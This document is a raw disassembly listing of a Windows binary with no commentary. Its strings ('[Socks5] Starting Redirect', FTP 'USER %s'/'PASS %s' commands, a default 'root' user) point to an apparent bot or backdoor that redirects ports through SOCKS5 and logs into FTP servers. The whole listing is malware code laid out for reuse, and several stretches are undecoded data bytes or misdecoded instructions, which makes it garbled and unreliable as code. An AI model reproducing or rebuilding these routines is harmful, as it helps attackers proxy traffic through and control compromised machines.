0FD445BE8h, 0C7C88BFFh, 802484h dd 30000h, 7FE80000h, 50FFFD45h, 7EECA3E8h, 0C4839077h dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD3F9Ah dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 938E8Ah, 8F880000h dd 97h, 94968Ah, 0CF8B0000h, 989788h, 27E80000h db 41h, 0FDh, 0FFh ; --------------------------------------------------------------------------- loc_42D2B7: ; CODE XREF: ___:0042D18Dj lea ecx, [ebp+32h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D3E7 push 9Dh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 4 jz short loc_42D2FE mov ecx, eax call sub_401898 mov edi, eax jmp short loc_42D300 ; --------------------------------------------------------------------------- loc_42D2FE: ; CODE XREF: ___:0042D2F1j xor edi, edi loc_42D300: ; CODE XREF: ___:0042D2FCj push offset asc_444600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 push eax lea ecx, [edi+58h] mov dword ptr [esp+84h], 5 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+6Dh] mov dword ptr [esp+84h], 6 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+4Ch] push 3 push edx mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+82h] mov dword ptr [esp+84h], 7 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013DE loc_42D3E7: ; CODE XREF: ___:0042D2CAj lea ecx, [ebp+60h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D510 push 0A2h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 8 jz short loc_42D42E mov ecx, eax call sub_4018ED mov edi, eax jmp short loc_42D430 ; --------------------------------------------------------------------------- loc_42D42E: ; CODE XREF: ___:0042D421j xor edi, edi loc_42D430: ; CODE XREF: ___:0042D42Cj push offset asc_444600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 mov ecx, eax mov dword ptr [esp+80h], 9 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016B8 push offset aTrue ; "true" mov ecx, eax mov dword ptr [esp+84h], 0Ah call sub_40150A test eax, eax lea ecx, [esp+48h] mov [esp+80h], ebx setz byte ptr [esp+88h] call sub_401226 mov al, [esp+88h] test al, al jz short loc_42D4DE mov byte ptr [edi+9Dh], 1 jmp short loc_42D4E5 ; --------------------------------------------------------------------------- loc_42D4DE: ; CODE XREF: ___:0042D4D3j mov byte ptr [edi+9Dh], 0 loc_42D4E5: ; CODE XREF: ___:0042D4DCj lea edx, [esi+69h] lea ecx, [edi+26h] push edx call sub_401FDC mov al, [esi+93h] mov [edi+97h], al mov cl, [esi+94h] mov [edi+98h], cl mov ecx, edi call sub_4013DE loc_42D510: ; CODE XREF: ___:0042D3FAj lea ecx, [ebp+8Eh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D5DD push 0A1h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 0Bh jz short loc_42D55A mov ecx, eax call sub_40218A mov edi, eax jmp short loc_42D55C ; --------------------------------------------------------------------------- loc_42D55A: ; CODE XREF: ___:0042D54Dj xor edi, edi loc_42D55C: ; CODE XREF: ___:0042D558j push offset asc_444600 ; " " lea edx, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push edx mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 mov ecx, eax mov dword ptr [esp+80h], 0Ch call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013DE loc_42D5DD: ; CODE XREF: ___:0042D526j lea ecx, [ebp+0BCh] call sub_4014DD lea edi, [esi+7Eh] push eax mov ecx, edi mov [esp+8Ch], edi call sub_4012EE test eax, eax jnz loc_42D809 lea ecx, [esp+30h] call sub_40142E lea ecx, [esp+18h] mov dword ptr [esp+80h], 0Dh call sub_40142E push offset asc_444600 ; " " lea eax, [esp+4Ch] push 2 push eax mov ecx, esi mov byte ptr [esp+8Ch], 0Eh call sub_4016B8 mov ecx, eax mov byte ptr [esp+80h], 0Fh call sub_4017EE push eax lea ecx, [esp+34h] call sub_401A9B lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+4Ch] push 3 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+80h], 10h call sub_4017EE push eax lea ecx, [esp+1Ch] call sub_401A9B lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+30h] call sub_4014DD cmp eax, offset byte_448F30 jnz short loc_42D6BF push offset aRoot ; "root" lea ecx, [esp+1Ch] call sub_401A9B loc_42D6BF: ; CODE XREF: ___:0042D6AFj lea ecx, [esp+18h] call sub_4014DD cmp eax, offset byte_448F30 jnz short loc_42D6DD push offset byte_448F30 lea ecx, [esp+1Ch] call sub_401A9B loc_42D6DD: ; CODE XREF: ___:0042D6CDj push offset asc_444600 ; " " lea edx, [esp+4Ch] push 1 push edx mov ecx, esi call sub_4016B8 mov edi, eax lea ecx, [esp+18h] mov byte ptr [esp+80h], 11h call sub_4017EE push eax lea ecx, [esp+34h] call sub_4017EE push eax mov ecx, edi call sub_4017EE mov edi, dword_511B14 push eax call edi ; atoi add esp, 4 lea ecx, [esi+69h] push eax push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "... call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 20h lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+28h], esp push eax call sub_401870 lea ecx, [esp+48h] mov byte ptr [esp+98h], 12h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+44h], esp push eax call sub_401870 push offset asc_444600 ; " " lea edx, [esp+94h] push 1 push edx mov ecx, esi mov byte ptr [esp+0BCh], 13h call sub_4016B8 mov ecx, eax mov byte ptr [esp+0B0h], 15h call sub_4017EE push eax call edi ; atoi add esp, 4 push eax call sub_401C2B add esp, 34h lea ecx, [esp+60h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] mov byte ptr [esp+80h], 0Dh call sub_401226 lea ecx, [esp+30h] mov [esp+80h], ebx call sub_401226 mov edi, [esp+88h] loc_42D809: ; CODE XREF: ___:0042D5FCj lea ecx, [ebp+0EAh] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42D826 mov [ebp+11Ch], al loc_42D826: ; CODE XREF: ___:0042D81Ej mov ecx, [esp+78h] pop edi pop esi pop ebp mov al, 1 mov large fs:0, ecx pop ebx add esp, 74h retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 1C0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42DA00: ; CODE XREF: ___:004021CBj push ecx mov edx, dword_449A4D push esi mov esi, ecx mov eax, [esi+99h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_42DA21 inc ecx mov [eax+118h], ecx loc_42DA21: ; CODE XREF: ___:0042DA18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+99h] mov [esp+4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+4] push ecx mov ecx, offset byte_4E8E9B call sub_40120D ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DA80 proc near ; CODE XREF: sub_401E1Fj var_190 = byte ptr -190h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 101h call sub_438244 sub_42DA80 endp ; --------------------------------------------------------------------------- db 85h, 0C0h, 74h dd 900D8B19h, 5000511Ah, 6840C183h, 4473C8h, 64E89051h dd 83778133h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42DAD0: ; CODE XREF: ___:00401D8Ej mov eax, [esp+4] test eax, eax jz short loc_42DAE3 mov ecx, [eax+18h] test ecx, ecx jnz short loc_42DAE3 add eax, 44h retn ; --------------------------------------------------------------------------- loc_42DAE3: ; CODE XREF: ___:0042DAD6j ; ___:0042DADDj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DB00 proc near ; CODE XREF: sub_401A7Dj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_12 = word ptr 16h sub esp, 14h mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ebx push ebp mov [esp+1Ch+var_C], eax push esi push edi mov [esp+24h+var_8], eax push ecx mov [esp+28h+var_14], 1 mov [esp+28h+var_4], eax mov word ptr [esp+28h+var_10], 2 call near ptr 77C46125h nop mov ebp, eax push 3Ah push ebp nop call near ptr 77C47660h mov esi, eax xor ebx, ebx add esp, 0Ch cmp esi, ebx jnz short loc_42DB74 push offset aTcp ; "tcp" push offset aFtp ; "ftp" call sub_43828C ; --------------------------------------------------------------------------- dd 6C75C33Bh, 44741C68h, 8BE89000h, 83778092h, 0C03304C4h dd 5B5D5E5Fh, 0C314C483h ; --------------------------------------------------------------------------- loc_42DB74: ; CODE XREF: sub_42DB00+47j mov [esi], bl mov eax, dword_511A7C inc esi cmp dword ptr [eax], 1 jle short loc_42DB92 movsx ecx, byte ptr [esi] push 4 push ecx nop call near ptr 77C1C561h add esp, 8 jmp short loc_42DBA2 ; --------------------------------------------------------------------------- loc_42DB92: ; CODE XREF: sub_42DB00+7Fj mov eax, dword_511B1C movsx edx, byte ptr [esi] mov ecx, [eax] mov al, [ecx+edx*2] and eax, 4 loc_42DBA2: ; CODE XREF: sub_42DB00+90j cmp eax, ebx jz short loc_42DBBD push esi nop call near ptr 77C1BF18h add esp, 4 push eax call sub_43822C ; --------------------------------------------------------------------------- mov [esp+arg_12], ax jmp short sub_42DBD1 ; --------------------------------------------------------------------------- loc_42DBBD: ; CODE XREF: sub_42DB00+A4j push offset aTcp ; "tcp" push esi call sub_43828C sub_42DB00 endp ; --------------------------------------------------------------------------- mov dx, [eax+8] mov [esp+16h], dx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DBD1 proc near ; CODE XREF: sub_42DB00+BBj push ebp call sub_4381EA sub_42DBD1 endp ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh mov [esp+18h], eax jnz short loc_42DC1D push ebp call sub_4381DE ; --------------------------------------------------------------------------- dw 0C33Bh dd 0C681875h, 90004474h, 8091FDE8h, 4C48377h, 5E5FC033h dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch dd 2E9C130h, 0CA8BA5F3h, 0F303E183h ; --------------------------------------------------------------------------- movsb loc_42DC1D: ; CODE XREF: ___:0042DBDEj push ebp mov ebp, dword_511AD0 call ebp ; free add esp, 4 push 6 push 1 push 2 call sub_438232 ; --------------------------------------------------------------------------- dd 0FF83F88Bh, 681875FFh, 447404h, 91ACE890h, 0C4837780h dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h dd 0FFFF68h, 13E85700h, 830000A6h, 775FFF8h, 4473F468h dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h dd 71F46807h, 1BEB0044h, 14468h, 90016A00h, 7FE42AE8h dd 83F08B77h, 0F33B08C4h, 0EC681E75h, 0E8004473h, 77809146h dd 4C48390h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h dd 200068h, 3CE89000h, 83777FE7h, 0C33B04C4h, 75144689h dd 73EC6824h, 0E8900044h, 77809112h, 5704C483h, 0A513E8h dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42DE00 proc near ; CODE XREF: ___:0042E556p ; sub_42F2C0+70p var_8 = byte ptr -8 var_5 = byte ptr -5 var_4 = byte ptr -4 arg_0 = byte ptr 4 arg_4 = dword ptr 8 sub esp, 8 push ebx push ebp push esi push edi mov edi, [esp+18h+arg_4] push edi push 100h lea esi, [edi+44h] push esi call sub_42DF40 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42DE3A loc_42DE22: ; CODE XREF: sub_42DE00+8Ej ; sub_42DE00+D9j push offset aControlSocketR ; "Control socket read failed" nop call near ptr 77C36DF2h add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DE3A: ; CODE XREF: sub_42DE00+20j mov eax, dword_5103A8 mov ebx, dword_511A8C cmp eax, 1 jle short loc_42DE5E mov eax, dword_511A90 push esi add eax, 40h push offset aS ; "%s" push eax call ebx ; fprintf add esp, 0Ch loc_42DE5E: ; CODE XREF: sub_42DE00+48j cmp byte ptr [edi+47h], 2Dh jnz short loc_42DEDE push 3 lea ecx, [esp+1Ch+var_8] push esi push ecx nop call near ptr 77C47A90h push edi push 100h push esi mov [esp+30h+var_5], 20h mov [esp+30h+var_4], 0 call sub_42DF40 add esp, 18h cmp eax, 0FFFFFFFFh jz short loc_42DE22 mov ebp, dword_511AE0 loc_42DE96: ; CODE XREF: sub_42DE00+D7j cmp dword_5103A8, 1 jle short loc_42DEB4 mov edx, dword_511A90 push esi add edx, 40h push offset aS ; "%s" push edx call ebx ; fprintf add esp, 0Ch loc_42DEB4: ; CODE XREF: sub_42DE00+9Dj lea eax, [esp+18h+var_8] push 4 push eax push esi call ebp ; strncmp add esp, 0Ch test eax, eax jz short loc_42DEDE push edi push 100h push esi call sub_42DF40 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42DE96 jmp loc_42DE22 ; --------------------------------------------------------------------------- loc_42DEDE: ; CODE XREF: sub_42DE00+62j ; sub_42DE00+C3j mov cl, [esi] mov dl, [esp+18h+arg_0] xor eax, eax pop edi cmp cl, dl pop esi pop ebp pop ebx setz al add esp, 8 retn sub_42DE00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DF40 proc near ; CODE XREF: sub_42DE00+15p ; sub_42DE00+83p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 8 push ebx push ebp mov ebp, [esp+10h+arg_0] push esi mov esi, [esp+14h+arg_8] xor ecx, ecx push edi mov [esp+18h+var_8], ecx mov eax, [esi+18h] mov [esp+18h+var_4], ecx cmp eax, ecx jz short loc_42DF70 cmp eax, 1 jz short loc_42DF70 pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DF70: ; CODE XREF: sub_42DF40+1Ej ; sub_42DF40+23j mov ebx, [esp+18h+arg_4] cmp ebx, ecx jnz short loc_42DF82 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DF82: ; CODE XREF: sub_42DF40+36j ; sub_42DF40+115j mov edi, [esi+0Ch] test edi, edi jle short loc_42DFD3 cmp ebx, edi jge short loc_42DF90 lea edi, [ebx-1] loc_42DF90: ; CODE XREF: sub_42DF40+4Bj mov eax, [esi+4] push edi push 0Ah push eax push ebp nop call near ptr 77C46170h add esp, 10h test eax, eax jz short loc_42DFA9 mov edi, eax sub edi, ebp loc_42DFA9: ; CODE XREF: sub_42DF40+63j mov edx, [esp+18h+var_8] add ebp, edi add edx, edi sub ebx, edi mov [esp+18h+var_8], edx mov byte ptr [ebp+0], 0 mov ecx, [esi+4] mov edx, [esi+0Ch] add ecx, edi sub edx, edi test eax, eax mov [esi+4], ecx mov [esi+0Ch], edx jnz loc_42E05A loc_42DFD3: ; CODE XREF: sub_42DF40+47j cmp ebx, 1 jz loc_42E0AD mov ecx, [esi] mov eax, [esi+4] cmp ecx, eax jnz short loc_42DFFB mov eax, [esi+14h] mov dword ptr [esi+0Ch], 0 mov [esi+4], eax mov [esi], eax mov dword ptr [esi+10h], 2000h loc_42DFFB: ; CODE XREF: sub_42DF40+A3j mov eax, [esp+18h+var_4] test eax, eax jnz loc_42E0C0 push esi call sub_42E170 add esp, 4 test eax, eax jz loc_42E0F2 mov edx, [esi+10h] mov eax, [esi] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_4381F0 ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz loc_42E0DC test eax, eax jnz short loc_42E03F mov [esp+18h+var_4], 1 loc_42E03F: ; CODE XREF: sub_42DF40+F5j mov edi, [esi+10h] mov edx, [esi+0Ch] mov ecx, [esi] sub edi, eax add edx, eax add ecx, eax mov [esi+10h], edi mov [esi+0Ch], edx mov [esi], ecx jmp loc_42DF82 ; --------------------------------------------------------------------------- loc_42E05A: ; CODE XREF: sub_42DF40+8Dj sub ebp, 2 mov esi, offset asc_4471E4 ; "\r\n" mov eax, ebp loc_42E064: ; CODE XREF: sub_42DF40+146j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42E08C test cl, cl jz short loc_42E088 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42E08C add eax, 2 add esi, 2 test cl, cl jnz short loc_42E064 loc_42E088: ; CODE XREF: sub_42DF40+130j xor eax, eax jmp short loc_42E091 ; --------------------------------------------------------------------------- loc_42E08C: ; CODE XREF: sub_42DF40+12Cj ; sub_42DF40+13Cj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42E091: ; CODE XREF: sub_42DF40+14Aj test eax, eax jnz short loc_42E0F2 mov byte ptr [ebp+0], 0Ah mov [ebp+1], al mov eax, [esp+18h+var_8] pop edi dec eax pop esi pop ebp mov [esp+0Ch+var_8], eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0AD: ; CODE XREF: sub_42DF40+96j mov eax, [esp+18h+arg_0] pop edi pop esi pop ebp mov byte ptr [eax], 0 mov eax, [esp+0Ch+var_8] pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0C0: ; CODE XREF: sub_42DF40+C1j mov eax, [esp+18h+var_8] test eax, eax jnz short loc_42E0F2 pop edi mov [esp+14h+var_8], 0FFFFFFFFh mov eax, [esp+14h+var_8] pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0DC: ; CODE XREF: sub_42DF40+EDj push offset aRead ; "read" call near ptr 77C36DF2h nop add esp, 4 mov [esp+18h+var_8], 0FFFFFFFFh loc_42E0F2: ; CODE XREF: sub_42DF40+D2j ; sub_42DF40+153j ... mov eax, [esp+18h+var_8] pop edi pop esi pop ebp pop ebx add esp, 8 retn sub_42DF40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E170 proc near ; CODE XREF: sub_42DF40+C8p ; sub_42EF60:loc_42EF8Dp ... var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 10Ch push ebx push ebp push esi mov esi, [esp+118h+arg_0] xor ebx, ebx xor ebp, ebp mov eax, [esi+18h] test eax, eax jz loc_42E253 mov ecx, [esi+30h] test ecx, ecx jz loc_42E253 cmp eax, 2 jnz short loc_42E1A5 lea ebp, [esp+118h+var_104] jmp short loc_42E1A9 ; --------------------------------------------------------------------------- loc_42E1A5: ; CODE XREF: sub_42E170+2Dj lea ebx, [esp+118h+var_104] loc_42E1A9: ; CODE XREF: sub_42E170+33j xor eax, eax push edi mov [esp+11Ch+var_104], eax loc_42E1B0: ; CODE XREF: sub_42E170+98j cmp eax, 40h jnb short loc_42E1C5 mov ecx, [esi+8] mov [esp+eax*4+11Ch+var_100], ecx mov eax, [esp+11Ch+var_104] inc eax mov [esp+11Ch+var_104], eax loc_42E1C5: ; CODE XREF: sub_42E170+43j mov edx, [esi+28h] mov eax, [esi+2Ch] lea ecx, [esp+11Ch+var_10C] mov [esp+11Ch+var_10C], edx mov edx, [esi+8] push ecx push 0 push ebp inc edx push ebx push edx mov [esp+130h+var_108], eax call sub_438208 ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz short loc_42E20A test eax, eax jg short loc_42E241 mov eax, [esi+34h] mov ecx, [esi+38h] push eax push ecx push esi call dword ptr [esi+30h] mov edi, eax add esp, 0Ch test edi, edi jz short loc_42E246 mov eax, [esp+11Ch+var_104] jmp short loc_42E1B0 ; --------------------------------------------------------------------------- loc_42E20A: ; CODE XREF: sub_42E170+79j push 100h xor edi, edi nop call near ptr 77C1F2BCh mov edx, [eax] push edx call near ptr 77C371FAh nop add esp, 4 push eax mov eax, [esi+1Ch] add eax, 44h push eax call near ptr 77C47A90h nop add esp, 0Ch mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42E241: ; CODE XREF: sub_42E170+7Dj mov edi, 1 loc_42E246: ; CODE XREF: sub_42E170+92j mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42E253: ; CODE XREF: sub_42E170+19j ; sub_42E170+24j pop esi pop ebp mov eax, 1 pop ebx add esp, 10Ch retn sub_42E170 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2B0: ; CODE XREF: ___:0040141Aj mov eax, [esp+4] xor ecx, ecx dec eax cmp eax, 4 ; switch 5 cases ja loc_42E35F ; default jmp off_42E364[eax*4] ; switch jump loc_42E2C7: ; DATA XREF: ___:off_42E364o mov eax, [esp+8] ; jumptable 0042E2C0 case 0 cmp eax, 1 jz short loc_42E2D9 cmp eax, 2 jnz loc_42E35F ; default loc_42E2D9: ; CODE XREF: ___:0042E2CEj mov ecx, [esp+0Ch] mov [ecx+24h], eax mov ecx, 1 mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E2E8: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov edx, [esp+0Ch] ; jumptable 0042E2C0 case 1 mov eax, [esp+8] mov ecx, 1 mov [edx+30h], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E2FB: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o push esi ; jumptable 0042E2C0 case 2 mov esi, [esp+0Ch] mov eax, 10624DD3h push edi imul esi mov edi, [esp+14h] mov ecx, 1 sar edx, 6 mov eax, edx shr eax, 1Fh add edx, eax mov eax, esi mov [edi+28h], edx mov esi, 3E8h cdq idiv esi lea eax, [edx+edx*4] lea eax, [eax+eax*4] lea edx, [eax+eax*4] mov eax, ecx shl edx, 3 mov [edi+2Ch], edx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E33C: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 3 mov edx, [esp+8] mov ecx, 1 mov [eax+34h], edx mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E34F: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 4 mov edx, [esp+8] mov ecx, 1 mov [eax+3Ch], edx loc_42E35F: ; CODE XREF: ___:0042E2BAj ; ___:0042E2D3j mov eax, ecx ; default retn ; --------------------------------------------------------------------------- align 4 off_42E364 dd offset loc_42E2C7 ; DATA XREF: ___:0042E2C0r dd offset loc_42E2E8 ; jump table for switch statement dd offset loc_42E2FB dd offset loc_42E33C dd offset loc_42E34F db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E3C0 proc near ; CODE XREF: sub_402266j var_40 = byte ptr -40h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] sub esp, 40h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42E451 mov ebx, [esp+4Ch+arg_4] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42E451 mov edi, dword_511A6C push edx lea eax, [esp+50h+var_40] push offset aUserS ; "USER %s" push eax call edi ; sprintf mov esi, [esp+58h+arg_8] lea ecx, [esp+58h+var_40] push esi push 33h push ecx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42E42D mov cl, [esi+44h] pop edi cmp cl, 32h pop esi setz al pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42E42D: ; CODE XREF: sub_42E3C0+5Bj push ebx lea edx, [esp+50h+var_40] push offset aPassS ; "PASS %s" push edx call edi ; sprintf push esi lea eax, [esp+5Ch+var_40] push 32h push eax call sub_42E490 add esp, 18h pop edi pop esi pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42E451: ; CODE XREF: sub_42E3C0+1Bj ; sub_42E3C0+30j pop edi pop esi xor eax, eax pop ebx add esp, 40h retn sub_42E3C0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E490 proc near ; CODE XREF: sub_42E3C0+51p ; sub_42E3C0+82p ... var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch sub esp, 100h push ebx mov ebx, [esp+104h+arg_8] push esi push edi mov eax, [ebx+18h] test eax, eax jz short loc_42E4B3 pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E4B3: ; CODE XREF: sub_42E490+15j mov eax, dword_5103A8 mov esi, [esp+10Ch+arg_0] cmp eax, 2 loc_42E4C2: ; CODE XREF: ___:0042E53Dj jle short loc_42E4DC mov eax, dword_511A90 push esi add eax, 40h push offset aS_0 ; "%s\n" push eax nop call near ptr 77C40E13h add esp, 0Ch loc_42E4DC: ; CODE XREF: sub_42E490:loc_42E4C2j mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 2 cmp ecx, 100h jbe short loc_42E4FC pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E4FC: ; CODE XREF: sub_42E490+60j push esi lea ecx, [esp+110h+var_100] push offset aS_3 ; "%s\r\n" push ecx call near ptr 77C3F931h nop lea edi, [esp+118h+var_100] or ecx, 0FFFFFFFFh xor eax, eax add esp, 0Ch repne scasb mov eax, [ebx+8] push 0 not ecx dec ecx lea edx, [esp+110h+var_100] push ecx push edx push eax call sub_4381F6 sub_42E490 endp ; --------------------------------------------------------------------------- db 85h ; --------------------------------------------------------------------------- sar byte ptr [edi+1Ah], 68h jo short near ptr byte_42E5AA inc esp add [eax-7F774B18h], dl ja short loc_42E4C2 les eax, [ebx+esi] rcr byte ptr [edi+5Eh], 5Bh add esp, 100h retn ; --------------------------------------------------------------------------- mov ecx, [esp+114h] push ebx push ecx call sub_42DE00 add esp, 8 pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 3Ah dup(0CCh) byte_42E5AA db 6 dup(0CCh) ; CODE XREF: ___:0042E534j ; =============== S U B R O U T I N E ======================================= sub_42E5B0 proc near ; CODE XREF: sub_401F73j var_100 = dword ptr -100h var_FC = byte ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 100h push ebx push ebp push esi mov esi, [esp+10Ch+arg_0] push edi mov edi, 